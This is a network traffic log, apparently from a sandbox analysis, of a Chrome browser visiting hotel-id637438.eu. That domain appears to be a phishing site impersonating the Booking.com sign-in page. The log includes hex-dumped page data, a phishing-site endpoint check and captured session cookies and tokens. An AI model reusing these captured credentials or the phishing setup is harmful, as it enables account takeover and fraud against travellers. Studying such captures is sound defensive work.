2024-07-08 22:43:37 UTC	553	IN	Data Raw: 7b 22 64 6f 22 3a 5b 22 73 69 64 7c 38 33 63 61 30 34 62 65 2d 33 64 37 62 2d 31 31 65 66 2d 61 63 33 31 2d 31 65 36 65 63 63 66 33 31 63 37 33 22 2c 22 70 6e 66 7c 63 75 22 2c 22 63 6c 73 7c 31 38 38 37 36 38 34 37 32 34 32 32 39 31 32 32 34 35 39 31 22 2c 22 73 74 73 7c 31 37 32 30 34 37 38 36 31 37 33 35 30 22 2c 22 77 63 73 7c 63 71 36 36 6e 36 61 39 71 64 37 76 74 36 71 6b 67 67 33 67 22 2c 22 64 72 63 7c 35 36 30 30 22 2c 22 63 74 73 7c 38 33 63 61 30 38 31 35 2d 33 64 37 62 2d 31 31 65 66 2d 61 63 33 31 2d 31 65 36 65 63 63 66 33 31 63 37 33 7c 74 72 75 65 22 2c 22 63 73 7c 65 36 34 32 38 32 35 62 30 31 61 35 30 37 39 66 65 36 30 64 37 37 35 37 66 33 30 31 66 36 36 38 62 64 38 33 63 34 32 38 34 64 36 61 36 35 36 66 61 65 31 36 35 37 39 63 65 62 38 Data Ascii: {"do":["sid\|83ca04be-3d7b-11ef-ac31-1e6eccf31c73","pnf\|cu","cls\|18876847242291224591","sts\|1720478617350","wcs\|cq66n6a9qd7vt6qkgg3g","drc\|5600","cts\|83ca0815-3d7b-11ef-ac31-1e6eccf31c73\|true","cs\|e642825b01a5079fe60d7757f301f668bd83c4284d6a656fae16579ceb8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	49841	13.226.34.77	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:37 UTC	1255	OUT	GET /sign-in?op_token=EgVvYXV0aCJHChQ2Wjcyb0hPZDM2Tm43emszcGlyaBIJYXV0aG9yaXplGhpodHRwczovL2FkbWluLmJvb2tpbmcuY29tLyoCe31CBGNvZGUqEjDd3bSSuf4mOgBCAFjA2M2xBg HTTP/1.1 Host: account.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bkng_sso_auth=CAIQsOnuTRpmaou+GEKeulaBbe/D0RNKi0n1KM9uEq17CoZ9ceIKbGu/yAcBi15SiUijsLL7hKBbdn2ziy9rleT/h/+mYqJx9Ltvzo4bCiS9vD0LPjuOlYCJGG9yEJ4LEajGRIlOfN54d2s0MMke; pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D91c4cf11-d893-45ba-a7de-4fecf555ad97%26consentedAt%3D2024-07-08T22%3A43%3A33.173Z%26expiresAt%3D2025-01-04T22%3A43%3A33.173Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DNY%26regulation%3Dnone%26legacyRegulation%3Dnone
2024-07-08 22:43:38 UTC	2214	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close server: envoy date: Mon, 08 Jul 2024 22:43:38 GMT set-cookie: bkng_ap=U2FsdGVkX1%2FBeD%2B9vhXp%2FoolZG6knJmAq5e8qg7cSJFfazowPL%2BhC00p83zPU3UEfc9g4mp72wMu%0AKvSMukQRkg%3D%3D%0A; domain=account.booking.com; path=/; secure; HttpOnly content-security-policy: frame-ancestors https://.booking.com 'self'; report-uri https://nellie.booking.com/csp-report-uri?type=block&tag=212&pid=274d9fcc793b012b&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgc98bqahgr47JzxlobzO23kgJ03VHUtWyW-H9Q7CKxuYnf7KzrqsVI0 content-security-policy-report-only: base-uri 'none'; connect-src saa.booking.com secure.booking.com reports.booking.com privacyportal-eu.onetrust.com geolocation.onetrust.com cdn.cookielaw.org www.google-analytics.com .perimeterx.net .pxchk.net .px-cdn.net .px-client.net .px-cloud.net 'self' 'report-sample'; default-src .bstatic.com bstatic.com 'self'; frame-src https://www.youtube.com/embed/Vv4w5SmRkss .bstatic.com https://www.google.com bstatic.com www.booking.com secure.booking.com paymentcomponent.booking.com 'self'; img-src 'self' data: www.booking.com graph.facebook.com cdn.cookielaw.org account.booking.com .bstatic.com bstatic.com .static.booking.cn www.google-analytics.com www.google.com stats.g.doubleclick.net .px-cloud.net .perimeterx.net www.gstatic.com; object-src 'none'; report-uri https://nellie.booking.com/csp-report-uri?type=report&tag=213&pid=274d9fcc793b012b&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgc98bqahgr47JzxlobzO23kgJ03VHUtWyW-H9Q7CKxuYnf7KzrqsVI0; script-src s [TRUNCATED] x-xss-protection: 1; mode=block strict-transport-security: max-age=63072000; includeSubDomains; preload X-Cache: Miss from cloudfront Via: 1.1 b7d10369ae737ec35cf8d7faced56ef0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: EWR53-C2 X-Amz-Cf-Id: QvoZMcCRoDs1Ap794HwyJIpmASP2e5TPs7UpcNKYg8zJcUxyDEh70A==
2024-07-08 22:43:38 UTC	14170	IN	Data Raw: 35 62 31 39 0d 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 0a 20 20 20 20 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 53 43 36 35 73 49 6e 53 4b 65 54 77 6b 43 7a 22 3e 0a 20 20 20 20 20 20 20 20 0a 28 66 75 6e 63 74 69 6f 6e 28 20 77 69 6e 2c 20 64 6f 63 20 29 20 7b 0a 0a 20 20 20 20 76 61 72 20 65 72 72 6f 72 73 20 20 20 20 20 3d 20 5b 5d 2c 0a 20 20 20 20 20 20 20 20 65 72 72 6f 72 43 6f 75 6e 74 20 3d 20 30 2c 0a 20 20 20 20 20 20 20 20 63 61 6e 50 61 72 Data Ascii: 5b19<!DOCTYPE html><html class="no-js" lang="en-us"><head><meta http-equiv="X-UA-Compatible" content="IE=edge" /> <script nonce="SC65sInSKeTwkCz"> (function( win, doc ) { var errors = [], errorCount = 0, canPar
2024-07-08 22:43:38 UTC	9159	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 6f 66 66 3a 20 20 6f 6e 41 76 61 69 6c 61 62 6c 65 20 3f 20 27 6f 66 66 27 20 3a 20 27 75 6e 62 69 6e 64 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6a 61 78 3a 20 27 61 6a 61 78 27 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 3b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 63 6f 64 65 54 6f 53 65 6c 65 63 74 45 6c 65 6d 65 6e 74 28 20 65 76 74 20 29 20 7b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 61 72 67 65 74 20 20 20 20 3d 20 65 76 74 2e 74 61 72 67 65 74 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 6c 65 6d 20 20 20 20 20 20 3d 20 6a 51 75 65 72 79 28 20 74 61 72 67 65 Data Ascii: off: onAvailable ? 'off' : 'unbind', ajax: 'ajax' }; function codeToSelectElement( evt ) { var target = evt.target, elem = jQuery( targe
2024-07-08 22:43:38 UTC	16384	IN	Data Raw: 36 38 64 66 0d 0a 59 20 7c 7c 20 7b 7d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 3b 0a 0a 20 20 20 20 20 20 20 20 69 66 20 28 20 74 79 70 65 6f 66 20 73 6f 75 72 63 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 20 3d 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 6f 75 72 63 65 20 3d 20 27 27 3b 0a 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 6f 75 72 63 65 20 3d 20 73 6f 75 72 63 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 66 6f 72 20 28 20 70 61 74 74 65 72 6e 20 69 6e 20 74 68 69 72 64 50 61 72 74 79 2e 53 4f 55 52 43 45 5f 4d 41 50 50 49 4e 47 20 29 20 7b 0a 0a 20 20 20 20 20 20 20 Data Ascii: 68dfY \|\| {}, pattern; if ( typeof source.toLowerCase === 'undefined' ) { source = ''; } else { source = source.toLowerCase(); } for ( pattern in thirdParty.SOURCE_MAPPING ) {
2024-07-08 22:43:38 UTC	10471	IN	Data Raw: 73 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 62 73 22 2c 22 70 72 65 66 69 78 22 3a 22 2b 31 20 32 34 32 22 7d 2c 7b 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 62 74 22 2c 22 70 72 65 66 69 78 22 3a 22 2b 39 37 35 22 2c 22 6e 61 6d 65 22 3a 22 42 68 75 74 61 6e 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 42 6f 74 73 77 61 6e 61 22 2c 22 70 72 65 66 69 78 22 3a 22 2b 32 36 37 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 62 77 22 7d 2c 7b 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 62 79 22 2c 22 70 72 65 66 69 78 22 3a 22 2b 33 37 35 22 2c 22 6e 61 6d 65 22 3a 22 42 65 6c 61 72 75 73 22 7d 2c 7b 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 62 7a 22 2c 22 70 72 65 66 69 78 22 3a 22 2b 35 30 31 22 2c 22 6e 61 6d 65 22 3a 22 42 65 6c Data Ascii: s","country_code":"bs","prefix":"+1 242"},{"country_code":"bt","prefix":"+975","name":"Bhutan"},{"name":"Botswana","prefix":"+267","country_code":"bw"},{"country_code":"by","prefix":"+375","name":"Belarus"},{"country_code":"bz","prefix":"+501","name":"Bel
2024-07-08 22:43:38 UTC	16384	IN	Data Raw: 38 62 64 34 0d 0a 22 2b 33 33 22 2c 22 6e 61 6d 65 22 3a 22 46 72 65 6e 63 68 20 53 6f 75 74 68 65 72 6e 20 54 65 72 72 69 74 6f 72 69 65 73 22 7d 2c 7b 22 70 72 65 66 69 78 22 3a 22 2b 32 32 38 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 74 67 22 2c 22 6e 61 6d 65 22 3a 22 54 6f 67 6f 22 7d 2c 7b 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 74 68 22 2c 22 70 72 65 66 69 78 22 3a 22 2b 36 36 22 2c 22 6e 61 6d 65 22 3a 22 54 68 61 69 6c 61 6e 64 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 54 61 6a 69 6b 69 73 74 61 6e 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 74 6a 22 2c 22 70 72 65 66 69 78 22 3a 22 2b 39 39 32 22 7d 2c 7b 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 74 6b 22 2c 22 70 72 65 66 69 78 22 3a 22 2b 36 39 30 22 2c 22 6e 61 Data Ascii: 8bd4"+33","name":"French Southern Territories"},{"prefix":"+228","country_code":"tg","name":"Togo"},{"country_code":"th","prefix":"+66","name":"Thailand"},{"name":"Tajikistan","country_code":"tj","prefix":"+992"},{"country_code":"tk","prefix":"+690","na
2024-07-08 22:43:38 UTC	16384	IN	Data Raw: 27 73 20 6e 6f 74 20 61 20 75 73 65 72 6e 61 6d 65 2e 20 45 6e 74 65 72 20 79 6f 75 72 20 75 73 65 72 6e 61 6d 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 2e 22 2c 22 69 64 65 6e 74 69 74 79 5f 61 63 63 6f 75 6e 74 5f 73 69 67 6e 5f 69 6e 5f 66 61 63 65 62 6f 6f 6b 22 3a 22 53 69 67 6e 20 69 6e 20 77 69 74 68 20 46 61 63 65 62 6f 6f 6b 22 2c 22 69 75 78 5f 64 61 74 65 5f 6f 66 5f 62 69 72 74 68 5f 79 65 61 72 22 3a 22 59 59 59 59 22 2c 22 61 63 63 6f 75 6e 74 5f 73 69 67 6e 5f 69 6e 5f 63 68 69 6e 61 5f 61 75 74 68 5f 6c 6f 77 5f 69 6e 66 6f 72 6d 22 3a 22 54 6f 20 73 69 67 6e 20 69 6e 2c 20 79 6f 75 20 6e 65 65 64 20 74 6f 20 76 65 72 69 66 79 20 79 6f 75 72 20 70 68 6f 6e 65 20 6e 75 6d 62 65 72 2e 20 57 65 20 73 65 6e 74 20 61 20 63 6f 64 65 20 74 6f 20 7b Data Ascii: 's not a username. Enter your username to continue.","identity_account_sign_in_facebook":"Sign in with Facebook","iux_date_of_birth_year":"YYYY","account_sign_in_china_auth_low_inform":"To sign in, you need to verify your phone number. We sent a code to {
2024-07-08 22:43:38 UTC	3036	IN	Data Raw: 63 63 6f 75 6e 74 5f 72 65 63 6f 76 65 72 5f 61 74 74 72 61 63 74 69 6f 6e 73 5f 69 6e 66 6f 72 6d 22 3a 22 4a 75 73 74 20 63 6f 6e 66 69 72 6d 20 79 6f 75 72 20 76 65 6e 75 65 20 6e 61 6d 65 20 61 6e 64 20 75 73 65 72 6e 61 6d 65 2c 20 74 68 65 6e 20 77 65 27 6c 6c 20 73 65 6e 64 20 79 6f 75 20 61 20 6c 69 6e 6b 20 74 6f 20 72 65 73 65 74 20 79 6f 75 72 20 70 61 73 73 77 6f 72 64 2e 22 2c 22 61 63 63 6f 75 6e 74 5f 74 66 61 5f 61 6e 64 6f 72 69 64 5f 64 65 76 69 63 65 22 3a 22 41 6e 64 72 6f 69 64 20 64 65 76 69 63 65 73 22 2c 22 6d 61 67 69 63 5f 6c 69 6e 6b 5f 63 6f 6e 66 69 72 6d 65 64 5f 69 6e 66 6f 72 6d 32 22 3a 22 43 6f 6e 74 69 6e 75 65 20 73 69 67 6e 69 6e 67 20 69 6e 20 68 65 72 65 20 61 73 20 7b 73 74 61 72 74 5f 62 6f 6c 64 7d 7b 65 6d 61 69 Data Ascii: ccount_recover_attractions_inform":"Just confirm your venue name and username, then we'll send you a link to reset your password.","account_tfa_andorid_device":"Android devices","magic_link_confirmed_inform2":"Continue signing in here as {start_bold}{emai
2024-07-08 22:43:38 UTC	16384	IN	Data Raw: 36 38 64 66 0d 0a 20 65 6e 74 65 72 65 64 20 64 6f 20 6e 6f 74 20 6d 61 74 63 68 22 2c 22 69 64 65 6e 74 69 74 79 5f 6c 69 6e 6b 5f 61 63 63 6f 75 6e 74 73 5f 61 70 70 6c 65 5f 72 65 6c 61 79 5f 73 75 62 68 65 61 64 65 72 22 3a 22 59 6f 75 72 20 75 6e 69 71 75 65 20 65 6d 61 69 6c 3a 22 2c 22 61 63 63 6f 75 6e 74 5f 65 72 72 6f 72 5f 61 6c 72 65 61 64 79 5f 63 6f 6e 66 69 72 6d 65 64 22 3a 22 59 6f 75 72 20 61 63 63 6f 75 6e 74 20 77 61 73 20 61 6c 72 65 61 64 79 20 76 65 72 69 66 69 65 64 2e 22 2c 22 69 61 6d 5f 65 78 74 5f 63 75 73 74 6f 6d 65 72 5f 73 65 72 76 69 63 65 5f 70 69 6e 22 3a 22 50 72 6f 76 69 64 65 20 7b 62 5f 63 6f 6d 70 61 6e 79 6e 61 6d 65 7d 20 77 69 74 68 20 74 68 69 73 20 50 49 4e 3a 22 2c 22 61 63 63 6f 75 6e 74 5f 73 65 74 74 69 6e Data Ascii: 68df entered do not match","identity_link_accounts_apple_relay_subheader":"Your unique email:","account_error_already_confirmed":"Your account was already verified.","iam_ext_customer_service_pin":"Provide {b_companyname} with this PIN:","account_settin
2024-07-08 22:43:38 UTC	10471	IN	Data Raw: 6d 20 6f 75 72 20 73 79 73 74 65 6d 2e 20 49 66 20 79 6f 75 20 63 68 61 6e 67 65 20 79 6f 75 72 20 6d 69 6e 64 20 64 75 72 69 6e 67 20 74 68 69 73 20 31 34 2d 64 61 79 20 70 65 72 69 6f 64 2c 20 73 69 67 6e 20 62 61 63 6b 20 69 6e 20 74 6f 20 79 6f 75 72 20 61 63 63 6f 75 6e 74 20 74 6f 20 72 65 61 63 74 69 76 61 74 65 20 69 74 2e 20 22 2c 22 61 63 63 6f 75 6e 74 5f 65 72 72 6f 72 5f 70 61 73 73 77 6f 72 64 5f 61 74 74 65 6d 70 74 5f 77 68 65 6e 5f 64 69 73 61 62 6c 65 64 22 3a 22 50 61 73 73 77 6f 72 64 20 6e 6f 74 20 72 65 73 65 74 22 2c 22 69 64 65 6e 74 69 74 79 5f 72 65 63 6f 76 65 72 79 5f 77 65 62 5f 32 66 61 5f 65 72 72 6f 72 5f 70 68 6f 6e 65 22 3a 22 45 6e 74 65 72 20 61 20 76 61 6c 69 64 20 70 68 6f 6e 65 20 6e 75 6d 62 65 72 22 2c 22 61 63 63 Data Ascii: m our system. If you change your mind during this 14-day period, sign back in to your account to reactivate it. ","account_error_password_attempt_when_disabled":"Password not reset","identity_recovery_web_2fa_error_phone":"Enter a valid phone number","acc
2024-07-08 22:43:38 UTC	16384	IN	Data Raw: 33 66 66 61 0d 0a 65 65 6e 5f 68 65 61 64 69 6e 67 22 3a 22 45 6e 74 65 72 20 79 6f 75 72 20 65 6d 61 69 6c 20 61 64 64 72 65 73 73 22 2c 22 69 64 65 6e 74 69 74 79 5f 70 6f 70 5f 75 70 5f 6e 65 77 5f 64 65 76 69 63 65 5f 6e 65 65 64 65 64 5f 69 6f 73 5f 62 6f 64 79 22 3a 22 59 6f 75 20 63 61 6e 20 6e 6f 20 6c 6f 6e 67 65 72 20 75 73 65 20 50 75 6c 73 65 20 6f 6e 20 74 68 69 73 20 64 65 76 69 63 65 20 62 65 63 61 75 73 65 20 74 68 65 20 4f 53 20 69 74 27 73 20 75 73 69 6e 67 20 63 61 6e 27 74 20 73 75 70 70 6f 72 74 20 74 68 65 20 6c 61 74 65 73 74 20 76 65 72 73 69 6f 6e 73 20 6f 66 20 74 68 69 73 20 61 70 70 2e 20 50 75 6c 73 65 20 72 65 71 75 69 72 65 73 20 69 4f 53 20 7b 6d 69 6e 5f 6f 73 5f 72 65 71 75 69 72 65 64 7d 20 6f 72 20 67 72 65 61 74 65 72 Data Ascii: 3ffaeen_heading":"Enter your email address","identity_pop_up_new_device_needed_ios_body":"You can no longer use Pulse on this device because the OS it's using can't support the latest versions of this app. Pulse requires iOS {min_os_required} or greater

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	49843	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:37 UTC	1131	OUT	GET /tmATNNVdzGt8pg9N?b0f310f21718d000=_3IRix-tKnnYriFde-gZMzMWJL9Juca2McrCW6s2cj5y1IDYYCP1ue5IUZJ5Dvqo2zrvhlhIug3mp3mDfajG_kST1QWJdXQgZSbn_Vnn2CXP3RVksYmLygUIMmv1UB5lj-0EJKHEeOnB3a2VEdMCXLYH49GP4bLxri0Yhhf10OhRObG1wtx8br2prm-w7WX3qs8zKwXGaslVfeVtNMM&je=39373526246a6163353126606a7b63673d273f42253a3278767b70677b2730302533432d3f422532306d6f757b652530302d334332342d37442d324b273032727c7b72672532302d3b412532307063253a322535462e626a7360633d253d422d374025303a6d27303225304b3f333232273243253a32686b666c656c25303a25354c253a412735402d3030702532302d3a433733303425324b253230273a322735462d35442e626071606b5d616c6667783d36 HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:38 UTC	182	IN	HTTP/1.1 204 204 Date: Mon, 08 Jul 2024 22:43:38 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Content-Type: text/javascript;charset=UTF-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	49846	35.190.10.96	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:37 UTC	373	OUT	GET /api/v2/collector HTTP/1.1 Host: collector-pxikkul2rm.px-cloud.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:38 UTC	284	IN	HTTP/1.1 405 Method Not Allowed Date: Mon, 08 Jul 2024 22:43:37 GMT Content-Type: application/json; charset=utf-8 Content-Length: 31 Allow: POST, HEAD, OPTIONS Timing-Allow-Origin: * Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-07-08 22:43:38 UTC	31	IN	Data Raw: 7b 22 65 72 72 6f 72 22 3a 22 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 22 7d 0a Data Ascii: {"error":"Method Not Allowed"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	49848	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:38 UTC	807	OUT	GET /check-online HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pxcts=83ca0815-3d7b-11ef-ac31-1e6eccf31c73; _pxvid=83c9fb64-3d7b-11ef-ac31-449374cdc830; _pxff_fp=1; _pxff_cfp=1; _pxff_ddtc=1; _pxde=2af38ea852447866f9d2c239a94e8b2c33554b7d33e2e024df9327601a6bc9b4:eyJ0aW1lc3RhbXAiOjE3MjA0Nzg2MTczNTAsImZfa2IiOjAsImlwY19pZCI6W119
2024-07-08 22:43:38 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:38 GMT Content-Type: application/json Content-Length: 4 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lLeZLD9zsgRdlwbFWJcqFRW7ohbxDm3wm1%2Fiw8kY6eg%2FzIm9X%2Fso8k39R0EMBSmfBLIXVFpZ4Sj59lNgUsX6FK2Zj45tEhby2JjR3b6l8dQcQ5p6L3NX3hMEqnERmKPxc5w81g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0398253f901967-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:38 UTC	4	IN	Data Raw: 6e 75 6c 6c Data Ascii: null

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	49844	18.245.31.129	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:38 UTC	360	OUT	GET /static/img/favicon.ico HTTP/1.1 Host: xx.bstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:38 UTC	772	IN	HTTP/1.1 200 OK Content-Type: image/x-icon Content-Length: 610 Connection: close Server: nginx Date: Wed, 19 Jun 2024 09:48:26 GMT Last-Modified: Tue, 21 Mar 2023 13:15:51 GMT Expires: Fri, 19 Jul 2024 09:48:26 GMT Cache-Control: max-age=2592000 access-control-allow-origin: * nel: {"report_to":"default","max_age":600} report-to: {"endpoints":[{"url":"https://nellie.booking.com/report"}],"max_age":600,"group":"default","failure_fraction":0.05} Accept-Ranges: bytes x-xss-protection: 1; mode=block timing-allow-origin: * ETag: "6419ae07-262" X-Cache: Hit from cloudfront Via: 1.1 1eee8db55908814c8f0cde754e3bee5a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 X-Amz-Cf-Id: 89zVQ--RNMc1HXFhLIWIkpTrebPAggT_rS1nE1CxayBtQawJ0o2xmQ== Age: 1688112
2024-07-08 22:43:38 UTC	610	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 02 29 49 44 41 54 58 85 d5 97 3f 4c 1a 61 18 c6 7f 77 31 b0 1c 82 c9 0d 12 13 4b 53 89 9d 5a 18 ba 68 4d 8c 5d a4 8b ba d0 c1 10 b1 63 5d ba 52 17 16 db b9 31 76 a3 68 4c 17 bb c0 74 53 5b 5b aa 8b 83 d0 cd 48 83 31 69 5d 18 6c 64 b1 21 b1 03 70 70 78 fc b9 e3 e0 d2 67 e3 7b 73 f7 fc ee 7d bf ef 21 9f 40 4d d3 5b e3 c0 2e 30 05 0c d1 1f 95 81 43 20 c2 c1 da 39 80 50 35 0f 03 1f fa 68 ac 07 b2 cc c1 da 9e 50 fd f2 9f 03 34 6f 84 b8 27 52 69 fb a0 cd a9 7a ee 8a 54 66 6e 97 a6 44 ec f9 fa 9a 86 ba 32 f7 79 5d f8 46 87 35 6b fb c7 bf ac 21 e8 c6 3c 9b 7c 86 5b 72 e8 d6 d3 99 02 f1 f7 47 64 4f 8b a6 00 c4 76 45 8f e4 24 f5 26 d4 d2 1c 60 61 e6 2e fb 9b 8b Data Ascii: PNGIHDR szz)IDATX?Law1KSZhM]c]R1vhLtS[[H1i]ld!ppxg{s}!@M[.0C 9P5hP4o'RizTfnD2y]F5k!<\|[rGdOvE$&`a.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	49847	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:38 UTC	865	OUT	POST /tmATNNVdzGt8pg9N?b0f310f21718d000=_3IRix-tKnnYriFde-gZMzMWJL9Juca2McrCW6s2cj5y1IDYYCP1ue5IUZJ5Dvqo2zrvhlhIug3mp3mDfajG_kST1QWJdXQgZSbn_Vnn2CXP3RVksYmLygUIMmv1UB5lj-0EJKHEeOnB3a2VEdMCXLYH49GP4bLxri0Yhhf10OhRObG1wtx8br2prm-w7WX3qs8zKwXGaslVfeVtNMM HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive Content-Length: 956 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://hotel-id637438.eu Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
